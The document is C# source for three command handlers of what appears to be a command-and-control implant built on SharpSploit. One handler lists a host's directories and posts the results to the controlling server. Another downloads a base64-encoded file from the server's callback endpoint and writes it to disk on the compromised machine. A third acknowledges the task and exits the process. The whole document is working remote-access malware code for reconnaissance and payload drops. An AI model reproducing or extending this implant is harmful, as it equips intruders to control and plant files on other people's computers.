public static void Execute(SCTask task, SCImplant implant) { string path = task.@params; SharpSploitResultList <Host.FileSystemEntryResult> list; try { if (path != "") { list = Host.GetDirectoryListing(path); } else { list = Host.GetDirectoryListing(); } List <Dictionary <string, string> > fileList = new List <Dictionary <string, string> >(); foreach (Host.FileSystemEntryResult item in list) { FileInfo f = new FileInfo(item.Name); Dictionary <string, string> infoDict = new Dictionary <string, string>(); try { infoDict.Add("size", f.Length.ToString()); infoDict.Add("type", "file"); infoDict.Add("name", f.Name); fileList.Add(infoDict); } catch { infoDict.Add("size", "0"); infoDict.Add("type", "dir"); infoDict.Add("name", item.Name); fileList.Add(infoDict); } } SCTaskResp response = new SCTaskResp(task.id, JsonConvert.SerializeObject(fileList)); implant.PostResponse(response); implant.SendComplete(task.id); task.status = "complete"; task.message = fileList.ToString(); } catch (DirectoryNotFoundException) { Debug.WriteLine($"[!] DirectoryList - ERROR: Directory not found: {path}"); implant.SendError(task.id, "Error: Directory not found."); task.status = "error"; task.message = "Directory not found."; } catch (Exception e) { Debug.WriteLine($"DirectoryList - ERROR: {e.Message}"); implant.SendError(task.id, $"Error: {e.Message}"); task.status = "error"; task.message = e.Message; } }
public static void Execute(SCTask task, SCImplant implant) { JObject json = (JObject)JsonConvert.DeserializeObject(task.@params); string file_id = json.Value <string>("file_id"); string filepath = json.Value <string>("remote_path"); Debug.WriteLine("[-] Upload - Tasked to get file " + file_id); // If file exists, don't write file if (File.Exists(filepath)) { Debug.WriteLine($"[!] Upload - ERROR: File exists: {filepath}"); implant.SendError(task.id, "ERROR: File exists."); } else { // First we have to request the file from the server with a POST string fileEndpoint = implant.endpoint + "files/callback/" + implant.callbackId; try // Try block for HTTP request { string payload = "{\"file_id\": \"" + file_id + "\"}"; string result = HTTP.Post(fileEndpoint, payload); byte[] output = Convert.FromBase64String(result); try // Try block for writing file to disk { // Write file to disk File.WriteAllBytes(filepath, output); implant.SendComplete(task.id); Debug.WriteLine("[+] Upload - File written: " + filepath); } catch (Exception e) // Catch exceptions from file write { // Something failed, so we need to tell the server about it implant.SendError(task.id, e.Message); Debug.WriteLine("[!] Upload - ERROR: " + e.Message); } } catch (Exception e) // Catch exceptions from HTTP request { // Something failed, so we need to tell the server about it implant.SendError(task.id, e.Message); Debug.WriteLine("[!] Upload - ERROR: " + e.Message); } } }
public static void Execute(SCTask task, SCImplant implant) { try { implant.SendComplete(task.id); } catch (Exception e) { implant.SendError(task.id, e.Message); } Environment.Exit(0); }